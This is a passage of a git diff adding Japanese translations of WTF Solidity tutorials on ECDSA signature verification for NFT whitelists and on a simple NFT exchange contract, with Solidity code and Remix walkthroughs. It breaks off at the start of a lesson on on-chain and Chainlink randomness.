+ +すべてのコードとチュートリアルはgithubでオープンソース化されています:[github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +この講義では、イーサリアムのデジタル署名`ECDSA`について簡単に紹介し、それを使用して`NFT`ホワイトリストを発行する方法を説明します。コードで使用される`ECDSA`ライブラリは`OpenZeppelin`の同名ライブラリを簡素化したものです。 + +## デジタル署名 + +`opensea`で`NFT`を取引したことがあれば、署名は馴染みがあるでしょう。以下の画像は`metamask`ウォレットが署名する際にポップアップするウィンドウで、秘密鍵を公開することなく、秘密鍵を所有していることを証明できます。 + +![metamask署名](./img/37-1.png) + +イーサリアムで使用されるデジタル署名アルゴリズムは楕円曲線デジタル署名アルゴリズム(`ECDSA`)と呼ばれ、楕円曲線の「秘密鍵-公開鍵」ペアに基づくデジタル署名アルゴリズムです。主に[3つの役割](https://en.wikipedia.org/wiki/Digital_signature)を果たします: + +1. **身元認証**:署名者が秘密鍵の所有者であることを証明します。 +2. **否認防止**:送信者がメッセージを送信したことを否定できません。 +3. **完全性**:メッセージが送信中に変更されていないことを保証します。 + +## `ECDSA`コントラクト + +`ECDSA`標準は2つの部分で構成されています: + +1. 署名者が`秘密鍵`(非公開)を使用して`メッセージ`(公開)に対する`署名`(公開)を作成します。 +2. 他の人が`メッセージ`(公開)と`署名`(公開)を使用して署名者の`公開鍵`(公開)を復元し、署名を検証します。 + +`ECDSA`ライブラリと一緒にこれら2つの部分を説明します。このチュートリアルで使用される`秘密鍵`、`公開鍵`、`メッセージ`、`イーサリアム署名メッセージ`、`署名`は以下の通りです: + +``` +秘密鍵: 0x227dbb8586117d55284e26620bc76534dfbd2394be34cf4a09cb775d593b6f2b +公開鍵: 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2 +メッセージ: 0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c +イーサリアム署名メッセージ: 0xb42ca4636f721c7a331923e764587e98ec577cea1a185f60dfcc14dbb9bd900b +署名: 0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +``` + +### 署名の作成 + +**1. メッセージのパッキング:** イーサリアム`ECDSA`標準では、署名される`メッセージ`は一組のデータの`keccak256`ハッシュで、`bytes32`型です。署名したい内容は`abi.encodePacked()`関数を使用してパッキングし、`keccak256()`を使用してハッシュを計算して`メッセージ`とします。この例では、`メッセージ`は'uint256`型変数と`address`型変数から取得されます。 + +```solidity +/* + * ミントアドレス(address型)とtokenId(uint256型)を連結してメッセージmsgHashを形成 + * _account: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * _tokenId: 0 + * 対応するメッセージmsgHash: 0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c + */ +function getMessageHash(address _account, uint256 _tokenId) public pure returns(bytes32){ + return keccak256(abi.encodePacked(_account, _tokenId)); +} +``` + +![パッキングされたメッセージ](./img/37-2.png) + +**2. イーサリアム署名メッセージの計算:** `メッセージ`は実行可能なトランザクションでも他の何でもかまいません。ユーザーが誤って悪意のあるトランザクションに署名することを防ぐため、`EIP191`は`メッセージ`の前に`"\x19Ethereum Signed Message:\n32"`文字を追加し、再度`keccak256`ハッシュを行って`イーサリアム署名メッセージ`を作成することを推奨しています。`toEthSignedMessageHash()`関数で処理されたメッセージはトランザクションの実行に使用できません。 + +```solidity + /** + * @dev イーサリアム署名メッセージハッシュを返します。 + * `hash`: ハッシュ化されるメッセージ + * イーサリアム署名標準に従います: https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] + * および `EIP191`:https://eips.ethereum.org/EIPS/eip-191` + * 実行可能なトランザクションの署名を防ぐため"\x19Ethereum Signed Message:\n32"文字列を追加します。 + */ + function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { + // ハッシュの長さは32 + return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); + } +``` + +処理されたメッセージは: + +``` +イーサリアム署名メッセージ: 0xb42ca4636f721c7a331923e764587e98ec577cea1a185f60dfcc14dbb9bd900b +``` + +![イーサリアム署名メッセージ](./img/37-3.png) + +**3-1. ウォレットで署名:** 日常的な操作では、ほとんどのユーザーがこの方法でメッセージに署名します。署名が必要なメッセージを取得した後、`Metamask`ウォレットを使用して署名する必要があります。`Metamask`の`personal_sign`メソッドは自動的に`メッセージ`を`イーサリアム署名メッセージ`に変換してから署名を開始します。そのため、`メッセージ`と`署名者ウォレットアカウント`を入力するだけで済みます。なお、入力する`署名者ウォレットアカウント`は`Metamask`で現在接続されているアカウントと一致している必要があります。 + +したがって、まず例の`秘密鍵`を`Metamask`ウォレットにインポートし、ブラウザの`コンソール`ページを開く必要があります:`Chromeメニュー-その他のツール-開発者ツール-Console`。ウォレットに接続された状態で(OpenSeaなどに接続、そうでなければエラーが発生)、以下の手順を順番に入力して署名します: + +``` +ethereum.enable() +account = "0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2" +hash = "0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c" +ethereum.request({method: "personal_sign", params: [account, hash]}) +``` + +作成された署名は返された結果(`PromiseResult`)で確認できます。異なるアカウントは異なる秘密鍵を持ち、作成される署名値も異なります。チュートリアルの秘密鍵を使用して作成された署名は以下の通りです: + +``` +0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +``` + +![ブラウザコンソールでMetamaskを通じて署名](./img/37-4.jpg) + +**3-2. web3.pyで署名:** バッチ呼び出しにおいては、コードでの署名が好まれます。以下はweb3.pyに基づく実装です。 + +これは`web3`ライブラリと`eth_account`モジュールを使用して、与えられた秘密鍵とイーサリアムアドレスでメッセージに署名するPythonコードです。Ankr ETH RPCエンドポイントに接続し、メッセージのkeccakハッシュと結果の署名を出力します。 + +実行結果は以下の通りです。計算されたメッセージ、署名、および以前の例は一致しています。 + +``` +メッセージ:0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c +署名:0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +``` + +### 署名の検証 + +署名を検証するには、検証者は`メッセージ`、`署名`、およびメッセージの署名に使用された`公開鍵`を持っている必要があります。署名を検証できるのは、`秘密鍵`の所有者のみがそのトランザクションに対してそのような署名を生成でき、他の誰もできないからです。 + +**4. 署名とメッセージから公開鍵を復元:** `署名`は数学的アルゴリズムによって生成されます。ここでは`rsv署名`を使用し、これは`r, s, v`の情報を含みます。次に、`r, s, v`と`イーサリアム署名メッセージ`から`公開鍵`を取得できます。以下の`recoverSigner()`関数は上記の手順を実装しています。`イーサリアム署名メッセージ _msgHash`と`署名 _signature`から`公開鍵`を復元します(シンプルなインラインアセンブリを使用): + +```solidity + // @dev _msgHashと署名_signatureから署名者アドレスを復元 + function recoverSigner(bytes32 _msgHash, bytes memory _signature) internal pure returns (address) { + // 署名の長さをチェック。65は標準的なr,s,v署名の長さ。 + require(_signature.length == 65, "invalid signature length"); + bytes32 r; + bytes32 s; + uint8 v; + // 現在、アセンブリを使用してのみ署名からr,s,vの値を取得可能。 + assembly { + /* + 最初の32バイトは署名の長さを保存(動的配列保存ルール) + add(sig, 32) = 署名ポインタ + 32 + 署名の最初の32バイトをスキップすることと等価 + mload(p) はメモリアドレスpから次の32バイトのデータをロード + */ + // 長さデータの後の次の32バイトを読み取り + r := mload(add(_signature, 0x20)) + // rの後の次の32バイトを読み取り + s := mload(add(_signature, 0x40)) + // 最後のバイトを読み取り + v := byte(0, mload(add(_signature, 0x60))) + } + // ecrecover(グローバル関数)を使用してmsgHash、r,s,vから署名者アドレスを復元 + return ecrecover(_msgHash, v, r, s); + } +``` + +パラメータは: + +``` +_msgHash:0xb42ca4636f721c7a331923e764587e98ec577cea1a185f60dfcc14dbb9bd900b +_signature:0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +``` + +![署名とメッセージによる公開鍵の復元](./img/37-8.png) + +**5. 公開鍵の比較と署名の検証:** 次に、復元された`公開鍵`と署名者の公開鍵`_signer`を比較して等しいかどうかを判定するだけです:等しければ署名は有効、そうでなければ署名は無効です。 + +```solidity +/** +* @dev ECDSAを通じて署名アドレスが正しいかを検証します。正しければtrueを返します。 +* _msgHashはメッセージのハッシュです。 +* _signatureは署名です。 +* _signerは署名者のアドレスです。 +*/ +function verify(bytes32 _msgHash, bytes memory _signature, address _signer) internal pure returns (bool) { + return recoverSigner(_msgHash, _signature) == _signer; +} +``` + +パラメータは: + +``` +_msgHash:0xb42ca4636f721c7a331923e764587e98ec577cea1a185f60dfcc14dbb9bd900b +_signature:0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +_signer:0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2 +``` + +![公開鍵の比較と署名の検証](./img/37-9.png) + +## 署名を使用したNFTホワイトリストの発行 + +`NFT`プロジェクトは`ECDSA`の機能を使用してホワイトリストを発行できます。署名はオフチェーンで行われ、`gas`を必要としないため、このホワイトリスト発行モードは`マークルツリー`モードよりも経済的です。方法は非常にシンプルです。プロジェクトがプロジェクトアカウントを使用してホワイトリスト発行アドレスに署名します(アドレスがミントできる`tokenId`を追加可能)。そして、`ミント`時に`ECDSA`を使用して署名が有効かをチェックします。有効であれば`ミント`を許可します。 + +`SignatureNFT`コントラクトは署名を使用した`NFT`ホワイトリストの発行を実装しています。 + +### 状態変数 + +コントラクトには2つの状態変数があります: +- `signer`:`公開鍵`、プロジェクト署名アドレス。 +- `mintedAddress`は`mapping`で、既に`ミント`されたアドレスを記録します。 + +### 関数 + +コントラクトには4つの関数があります: +- コンストラクタは`NFT`の名前とシンボル、`ECDSA`署名の`signer`アドレスを初期化します。 +- `mint()`関数は3つのパラメータを受け取ります:アドレス`address`、`tokenId`、`_signature`、署名が有効かを検証します:有効であれば、`tokenId`の`NFT`を`address`アドレスにミントし、`mintedAddress`に記録します。`getMessageHash()`、`ECDSA.toEthSignedMessageHash()`、`verify()`関数を呼び出します。 +- `getMessageHash()`関数は`ミント`アドレス(`address`型)と`tokenId`(`uint256`型)を組み合わせて`メッセージ`にします。 +- `verify()`関数は`ECDSA`ライブラリの`verify()`関数を呼び出して`ECDSA`署名検証を行います。 + +```solidity +contract SignatureNFT is ERC721 { + // ミントリクエストに署名するアドレス + address immutable public signer; + + // ミントに既に使用されたアドレスを追跡するマッピング + mapping(address => bool) public mintedAddress; + + // NFTコレクションの名前、シンボル、署名者アドレスを初期化するコンストラクタ関数 + constructor(string memory _name, string memory _symbol, address _signer) + ERC721(_name, _symbol) + { + signer = _signer; + } + + // ECDSAを使用して署名を検証し、指定されたアドレスに指定されたIDで新しいトークンをミント + function mint(address _account, uint256 _tokenId, bytes memory _signature) + external + { + bytes32 _msgHash = getMessageHash(_account, _tokenId); // アドレスとトークンIDを連結してメッセージハッシュを作成 + bytes32 _ethSignedMessageHash = ECDSA.toEthSignedMessageHash(_msgHash); // イーサリアム署名メッセージハッシュを計算 + require(verify(_ethSignedMessageHash, _signature), "Invalid signature"); // ECDSAを使用して署名を検証 + require(!mintedAddress[_account], "Already minted!"); // アドレスがまだミントに使用されていないことを確認 + + mintedAddress[_account] = true; // アドレスがミントに使用されたことを記録 + _mint(_account, _tokenId); // 指定されたアドレスに新しいトークンをミント + } + + /* + * アドレスとトークンIDを連結してメッセージハッシュを作成 + * _account: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * _tokenId: 0 + * 対応するメッセージハッシュ: 0x1bf2c0ce4546651a1a2feb457b39d891a6b83931cc2454434f39961345ac378c + */ + function getMessageHash(address _account, uint256 _tokenId) public pure returns(bytes32){ + return keccak256(abi.encodePacked(_account, _tokenId)); + } + + // ECDSAライブラリを使用して署名を検証 + function verify(bytes32 _msgHash, bytes memory _signature) + public view returns (bool) + { + return ECDSA.verify(_msgHash, _signature, signer); + } +} +``` + +### `remix`検証 + +- イーサリアムで`署名`をオフチェーンで署名し、`tokenId = 0`で`_account`アドレスをホワイトリストに追加します。使用されるデータについては<`ECDSA`コントラクト>セクションを参照してください。 + +- 以下のパラメータで`SignatureNFT`コントラクトをデプロイします: + +``` +_name: WTF Signature +_symbol: WTF +_signer: 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2 +``` + +SignatureNFTコントラクトのデプロイ。 + +ECDSA検証を使用してコントラクトに署名・ミントするために`mint()`関数を呼び出します。パラメータは以下の通りです: + +``` +_account: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 +_tokenId: 0 +_signature: 0x390d704d7ab732ce034203599ee93dd5d3cb0d4d1d7c600ac11726659489773d559b12d220f99f41d17651b0c1c6a669d346a397f8541760d6b32a5725378b241c +``` + +![SignatureNFTコントラクトのデプロイ](./img/37-6.png) + +- `ownerOf()`関数を呼び出すことで、`tokenId = 0`が正常にアドレス`_account`にミントされたことが確認でき、コントラクトが正常に実行されたことが分かります! + +![tokenId 0の所有者が変更され、コントラクトが正常に実行されたことを示します!](./img/37-7.png) + +## まとめ + +この講義では、イーサリアムのデジタル署名`ECDSA`、`ECDSA`を使用した署名の作成と検証方法、`ECDSA`コントラクト、およびそれらを使用した`NFT`ホワイトリストの配布について紹介しました。コードの`ECDSA`ライブラリは`OpenZeppelin`の同じライブラリを簡素化したものです。 + +- 署名はオフチェーンで行われ、`gas`を必要としないため、このホワイトリスト配布モデルは`マークルツリー`モデルよりもコスト効率が良いです; +- ただし、ユーザーが署名を取得するために中央集権的なインターフェースにリクエストを送る必要があるため、必然的にある程度の分散化が犠牲になります; +- もう一つの利点は、ホワイトリストを動的に変更できることです。プロジェクトの中央バックエンドインターフェースが任意の新しいアドレスからのリクエストを受け入れ、ホワイトリスト署名を提供できるため、コントラクトに事前にハードコードする必要がありません。 \ No newline at end of file diff --git a/Languages/ja/38_NFTSwap_ja/readme.md b/Languages/ja/38_NFTSwap_ja/readme.md new file mode 100644 index 000000000..29039aa8b --- /dev/null +++ b/Languages/ja/38_NFTSwap_ja/readme.md @@ -0,0 +1,293 @@ +--- +title: 38. NFT取引所 +tags: + - solidity + - application + - wtfacademy + - ERC721 + - NFT Swap +--- + +# WTF Solidity極簡入門: 38. NFT取引所 + +私は最近Solidityを再学習し、詳細を固めながら「WTF Solidity極簡入門」を書いています。これは初心者向けです(プログラミング上級者は他のチュートリアルを参照してください)。毎週1-3講を更新します。 + +Twitter:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[WeChatグループ](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubでオープンソース化されています:[github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +「Opensea」はイーサリアム上で最大のNFT取引プラットフォームで、総取引額は300億ドルです。Openseaは取引に2.5%の手数料を課しており、つまりユーザーの取引を通じて少なくとも7億5000万ドルの利益を得ています。さらに、その運営は分散化されておらず、ユーザーに補償するトークンを発行する計画もありません。NFTプレイヤーはOpenseaに長い間不満を抱いています。今日、私たちはスマートコントラクトを使用して手数料ゼロの分散型NFT取引所:NFTSwapを構築します。 + +## 設計ロジック + +- 売り手:NFTを売る側で、商品を出品、出品を取り消し、価格を更新できます。 +- 買い手:NFTを買う側で、商品を購入できます。 +- 注文:売り手が発行するオンチェーンNFT注文。同じtokenIdのシリーズは最大1つの注文を持つことができ、出品価格と所有者情報が含まれます。注文が完了または取り消されると、情報はクリアされます。 + +## NFTSwapコントラクト + +### イベント + +コントラクトには、NFTの出品(list)、取り消し(revoke)、価格更新(update)、購入(purchase)の動作に対応する4つのイベントが含まれています。 + +```solidity + event List(address indexed seller, address indexed nftAddr, uint256 indexed tokenId, uint256 price); + event Purchase(address indexed buyer, address indexed nftAddr, uint256 indexed tokenId, uint256 price); + event Revoke(address indexed seller, address indexed nftAddr, uint256 indexed tokenId); + event Update(address indexed seller, address indexed nftAddr, uint256 indexed tokenId, uint256 newPrice); +``` + +### 注文 + +`NFT`注文は`Order`構造として抽象化され、出品価格(`price`)と所有者(`owner`)の情報が含まれます。`nftList`マッピングは注文が対応する`NFT`シリーズ(コントラクトアドレス)と`tokenId`情報を記録します。 + +```solidity + // 注文構造を定義 + struct Order{ + address owner; + uint256 price; + } + // NFT注文マッピング + mapping(address => mapping(uint256 => Order)) public nftList; +``` + +### フォールバック関数 + +`NFTSwap`では、ユーザーは`ETH`を使用して`NFT`を購入します。そのため、コントラクトは`ETH`を受信するために`fallback()`関数を実装する必要があります。 + +```solidity + fallback() external payable{} +``` + +### onERC721Received + +`ERC721`の安全転送関数は、受信コントラクトが`onERC721Received()`関数を実装し、正しいセレクタを返すかをチェックします。ユーザーが注文を出した後、`NFT`は`NFTSwap`コントラクトに送信される必要があります。そのため、`NFTSwap`コントラクトは`IERC721Receiver`インターフェースを継承し、`onERC721Received()`関数を実装します。 + +これは「NFTSwap」という名前のスマートコントラクトで、「IERC721Receiver」インターフェースを実装しています。関数「onERC721Received」はERC721トークンを受信するために定義されています。4つのパラメータを取ります: +- 「operator」:関数を呼び出したアドレス +- 「from」:トークンをコントラクトに転送したアドレス +- 「tokenId」:転送されたERC721トークンのID +- 「data」:トークン転送と一緒に送信できる追加データ + +関数は「IERC721Receiver」インターフェースの「onERC721Received」関数のセレクタを返します。 + +### 取引 + +コントラクトは取引に関連する`4`つの関数を実装しています: + +- 出品`list()`:売り手が`NFT`を作成し、注文を作成し、`List`イベントを発行します。パラメータは`NFT`コントラクトアドレス`_nftAddr`、`NFT`の対応する`_tokenId`、出品価格`_price`(**注意:単位は`wei`**)です。成功後、`NFT`は売り手から`NFTSwap`コントラクトに転送されます。 + +```solidity + // 出品:売り手がNFTを販売に出品、コントラクトアドレスは_nftAddr、tokenIdは_tokenId、価格は_price(単位はwei) + function list(address _nftAddr, uint256 _tokenId, uint256 _price) public{ + IERC721 _nft = IERC721(_nftAddr); // インターフェースコントラクト変数IERC721を宣言 + require(_nft.getApproved(_tokenId) == address(this), "Need Approval"); // コントラクトが承認されている + require(_price > 0); // 価格が0より大きい + + Order storage _order = nftList[_nftAddr][_tokenId]; // NFT所有者と価格を設定 + _order.owner = msg.sender; + _order.price = _price; + // NFTをコントラクトに転送 + _nft.safeTransferFrom(msg.sender, address(this), _tokenId); + + // Listイベントを発行 + emit List(msg.sender, _nftAddr, _tokenId, _price); + } +``` + +- `revoke()`:売り手が注文をキャンセルし、`Revoke`イベントを発行します。パラメータには`NFT`コントラクトアドレス`_nftAddr`と対応する`_tokenId`が含まれます。実行成功後、`NFT`は`NFTSwap`コントラクトから売り手に返還されます。 + +```solidity +// 注文キャンセル:売り手が注文をキャンセル +function revoke(address _nftAddr, uint256 _tokenId) public { + Order storage _order = nftList[_nftAddr][_tokenId]; // 注文を取得 + require(_order.owner == msg.sender, "Not Owner"); // 所有者によって開始される必要がある + // IERC721インターフェースコントラクト変数を宣言 + IERC721 _nft = IERC721(_nftAddr); + require(_nft.ownerOf(_tokenId) == address(this), "Invalid Order"); // NFTがコントラクト内にある + + // NFTを売り手に転送 + _nft.safeTransferFrom(address(this), msg.sender, _tokenId); + delete nftList[_nftAddr][_tokenId]; // 注文を削除 + + // Revokeイベントを発行 + emit Revoke(msg.sender, _nftAddr, _tokenId); +} +``` + +- 価格変更`update()`:売り手がNFT注文の価格を変更し、`Update`イベントを発行します。パラメータはNFTコントラクトアドレス`_nftAddr`、NFTの対応する`_tokenId`、更新された注文価格`_newPrice`(**注意:単位は`wei`**)です。 + +```solidity + // 価格調整:売り手が出品価格を調整 + function update(address _nftAddr, uint256 _tokenId, uint256 _newPrice) public { + require(_newPrice > 0, "Invalid Price"); // NFT価格は0より大きい必要がある + Order storage _order = nftList[_nftAddr][_tokenId]; // 注文を取得 + require(_order.owner == msg.sender, "Not Owner"); // 所有者によって開始される必要がある + // IERC721インターフェースコントラクト変数を宣言 + IERC721 _nft = IERC721(_nftAddr); + require(_nft.ownerOf(_tokenId) == address(this), "Invalid Order"); // NFTがコントラクト内にある + + // NFT価格を調整 + _order.price = _newPrice; + + // Updateイベントを発行 + emit Update(msg.sender, _nftAddr, _tokenId, _newPrice); + } +``` + +- 購入:買い手が`ETH`を支払って注文の`NFT`を購入し、`Purchase`イベントをトリガーします。パラメータは`NFT`コントラクトアドレス`_nftAddr`と`NFT`の対応する`_tokenId`です。成功すると、`ETH`は売り手に転送され、`NFT`は`NFTSwap`コントラクトから買い手に転送されます。 + +```solidity + // 購入:買い手がNFTを購入、コントラクトは_nftAddr、tokenIdは_tokenId、関数呼び出し時にETHが必要 + function purchase(address _nftAddr, uint256 _tokenId) public payable { + Order storage _order = nftList[_nftAddr][_tokenId]; // 注文を取得 + require(_order.price > 0, "Invalid Price"); // NFT価格が0より大きい + require(msg.value >= _order.price, "Increase price"); // 購入価格が出品価格より大きい + // IERC721インターフェースコントラクト変数を宣言 + IERC721 _nft = IERC721(_nftAddr); + require(_nft.ownerOf(_tokenId) == address(this), "Invalid Order"); // NFTがコントラクト内にある + + // NFTを買い手に転送 + _nft.safeTransferFrom(address(this), msg.sender, _tokenId); + // ETHを売り手に転送し、余剰のETHを買い手に返金 + payable(_order.owner).transfer(_order.price); + if (msg.value > _order.price) { + payable(msg.sender).transfer(msg.value - _order.price); + } + + // Purchaseイベントを発行 + emit Purchase(msg.sender, _nftAddr, _tokenId, _order.price); + + delete nftList[_nftAddr][_tokenId]; // 注文を削除 + } +``` + +## `Remix`での実装 + +### 1. NFTコントラクトのデプロイ + +NFTについて学び、`WTFApe` NFTコントラクトをデプロイするには、[ERC721](https://github.com/AmazingAng/WTF-Solidity/tree/main/34_ERC721)チュートリアルを参照してください。 + +![NFTコントラクトのデプロイ](./img/38-1.png) + +最初のNFTを自分にミントします。これは将来NFTの出品や価格変更などの操作を実行できるようにするためです。 + +`mint(address to, uint tokenId)`関数は2つのパラメータを取ります: + +`to`:NFTがミントされるアドレス。これは通常自分のウォレットアドレスです。 + +`tokenId`:`WTFApe`コントラクトが合計10,000個のNFTを定義しているため、ここでミントされる最初の2つのNFTの`tokenId`値はそれぞれ`0`と`1`です。 + +![NFTのミント](./img/38-2.png) + +`WTFApe`コントラクトで、`ownerOf`を使用して`tokenId`が0のNFTを所有していることを確認します。 + +`ownerOf(uint tokenId)`関数は1つのパラメータを取ります: + +`tokenId`:`tokenId`はNFTの一意の識別子で、この例では上述のミントプロセスで生成された`0` idを指します。 + +![NFT所有権の確認](./img/38-3.png) + +上記の方法を使用して、`tokenId` `0`と`1`のNFTを自分にミントします。`tokenId` `0`には購入更新操作を実行し、`tokenId` `1`には出品取り消し操作を実行します。 + +### 2. `NFTSwap`コントラクトのデプロイ + +`NFTSwap`コントラクトをデプロイします。 + +![`NFTSwap`コントラクトのデプロイ](./img/38-4.png) + +### 3. `NFTSwap`コントラクトに出品のためのNFTを承認 + +`WTFApe`コントラクトで、`approve()`承認関数を呼び出して、所有している`tokenId` `0`のNFTを`NFTSwap`コントラクトが出品できるように許可を与えます。 + +`approve(address to, uint tokenId)`メソッドは2つのパラメータを持ちます: + +`to`:`tokenId`が転送を承認されるアドレス、この場合は`NFTSwap`コントラクトのアドレス。 + +`tokenId`:`tokenId`はNFTの一意の識別子で、この例では上述のミントプロセスで生成された`0` idを指します。 + +![](./img/38-5.png) + +上記の方法に従って、`tokenId`が`1`のNFTを`NFTSwap`コントラクトアドレスに承認します。 + +### 4. NFTを販売に出品 + +`NFTSwap`コントラクトの`list()`関数を呼び出して、呼び出し者が所有する`tokenId`が`0`のNFTを`NFTSwap`に出品します。価格を1 `wei`に設定します。 + +`list(address _nftAddr, uint256 _tokenId, uint256 _price)`メソッドは3つのパラメータを持ちます: + +`_nftAddr`:`_nftAddr`はNFTコントラクトアドレスで、この場合は`WTFApe`コントラクトアドレス。 + +`_tokenId`:`_tokenId`はNFTのIDで、この場合は上述でミントされた`0` ID。 + +`_price`:`_price`はNFTの価格で、この場合は1 `wei`。 + +![](./img/38-6.png) + +上記の方法に従って、呼び出し者が所有する`tokenId`が`1`のNFTを`NFTSwap`に出品し、価格を1 `wei`に設定します。 + +### 5. 出品されたNFTを表示 + +`NFTSwap`コントラクトの`nftList()`関数を呼び出して出品されたNFTを表示します。 + +`nftList`:以下の構造を持つNFT注文のマッピングです: + +`nftList[_nftAddr][_tokenId]`:`_nftAddr`と`_tokenId`を入力すると、NFT注文を返します。 + +![](./img/38-7.png) + +### 6. NFT価格の更新 + +`NFTSwap`コントラクトの`update()`関数を呼び出して、`tokenId` 0のNFTの価格を77 `wei`に更新します。 + +`update(address _nftAddr, uint256 _tokenId, uint256 _newPrice)`メソッドは3つのパラメータを持ちます: + +`_nftAddr`:`_nftAddr`はNFTコントラクトのアドレスで、この場合は`WTFApe`コントラクトアドレス。 + +`_tokenId`:`_tokenId`はNFTのidで、この場合は上述でミントされたNFTの0というid。 + +`_newPrice`:`_newPrice`はNFTの新しい価格で、この場合は77 `wei`。 + +`update()`実行後、`nftList`を呼び出して更新された価格を表示します。 + +### 5. NFTの出品取り消し + +`NFTSwap`コントラクトの`revoke()`関数を呼び出してNFTの出品を取り消します。 + +上記の記事で、私たちは`tokenId`が`0`と`1`のNFTをそれぞれ出品しました。この方法では、`tokenId`が`1`のNFTを出品取り消しします。 + +`revoke(address _nftAddr, uint256 _tokenId)`関数は2つのパラメータを持ちます: + +`_nftAddr`:`_nftAddr`はNFTコントラクトのアドレスで、この例では`WTFApe`コントラクトアドレス。 + +`_tokenId`:`_tokenId`はNFTのidで、この例ではミントの`1` Id。 + +`NFTSwap`コントラクトの`nftList()`関数を呼び出すと、NFTが出品取り消しされたことが確認できます。再度出品するには再承認が必要です。 + +**NFTを出品取り消しした後、購入前にステップ3から再度承認して出品する必要があることに注意してください。** + +### 6. `NFT`の購入 + +別のアカウントに切り替えて、`NFTSwap`コントラクトの`purchase()`関数を呼び出してNFTを購入します。購入時には、`NFT`コントラクトアドレス、`tokenId`、支払いたい`ETH`の金額を入力する必要があります。 + +私たちは`tokenId` 1のNFTを出品取り消ししましたが、`tokenId` 0のNFTはまだ購入可能です。 + +`purchase(address _nftAddr, uint256 _tokenId, uint256 _wei)`メソッドは3つのパラメータを持ちます: + +`_nftAddr`:`_nftAddr`はNFTコントラクトアドレスで、この例では`WTFApe`コントラクトアドレス。 + +`_tokenId`:`_tokenId`はNFTのIDで、上記でミントした0。 + +`_wei`:`_wei`は支払う`ETH`の金額で、この例では77 `wei`。 + +![](./img/38-11.png) + +### 7. NFT所有者の変更を確認 + +購入成功後、`WTFApe`コントラクトの`ownerOf()`関数を呼び出すと、`NFT`所有者が変更されており、購入が成功したことが示されます! + +まとめると、この講義では手数料ゼロの分散型`NFT`取引所を構築しました。`OpenSea`は`NFT`の発展に大きく貢献しましたが、その欠点も非常に明白です:高い取引手数料、ユーザーへの報酬なし、フィッシング攻撃を招きやすい取引メカニズムなど、ユーザーが資産を失う原因となっています。現在、`Looksrare`や`dydx`などの新しい`NFT`取引プラットフォームが`OpenSea`の地位に挑戦しており、`Uniswap`も新しい`NFT`取引所を研究しています。近い将来、より優れた`NFT`取引所が利用できるようになると信じています。 \ No newline at end of file diff --git a/Languages/ja/39_Random_ja/readme.md b/Languages/ja/39_Random_ja/readme.md new file mode 100644 index 000000000..2128edfe8 --- /dev/null +++ b/Languages/ja/39_Random_ja/readme.md @@ -0,0 +1,327 @@ +--- +title: 39. Chainlinkランダム性 +tags: + - solidity + - application + - wtfacademy + - ERC721 + - random + - chainlink +--- + +# WTF Solidity極簡入門: 39. Chainlinkランダム性 + +私は最近Solidityを再学習し、詳細を固めながら「WTF Solidity極簡入門」を書いています。これは初心者向けです(プログラミング上級者は他のチュートリアルを参照してください)。毎週1-3講を更新します。 + +Twitter:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[WeChatグループ](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubでオープンソース化されています:[github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +多くのイーサリアムアプリケーションは乱数の使用を必要とします。例えば、NFTランダムtokenId選択、ブラインドボックス抽選、ゲームファイでの戦闘勝者のランダム決定などです。しかし、イーサリアム上のすべてのデータが公開で決定論的であるため、他のプログラミング言語のような乱数生成方法を開発者に提供できません。このチュートリアルでは、オンチェーン(ハッシュ関数)とオフチェーン(Chainlinkオラクル)の2つの乱数生成方法を紹介し、それらを使用してtokenIdランダムミントNFTを作成します。 + +## オンチェーン乱数生成 + +いくつかのオンチェーングローバル変数をシードとして使用し、`keccak256()`ハッシュ関数を使用して疑似乱数を取得できます。これは、ハッシュ関数が感度と均一性を持ち、「見た目に」ランダムな結果を生成できるためです。以下の`getRandomOnchain()`関数は、グローバル変数`block.timestamp`、`msg.sender`、`blockhash(block.number-1)`をシードとして乱数を取得します: + +```solidity +/** + * 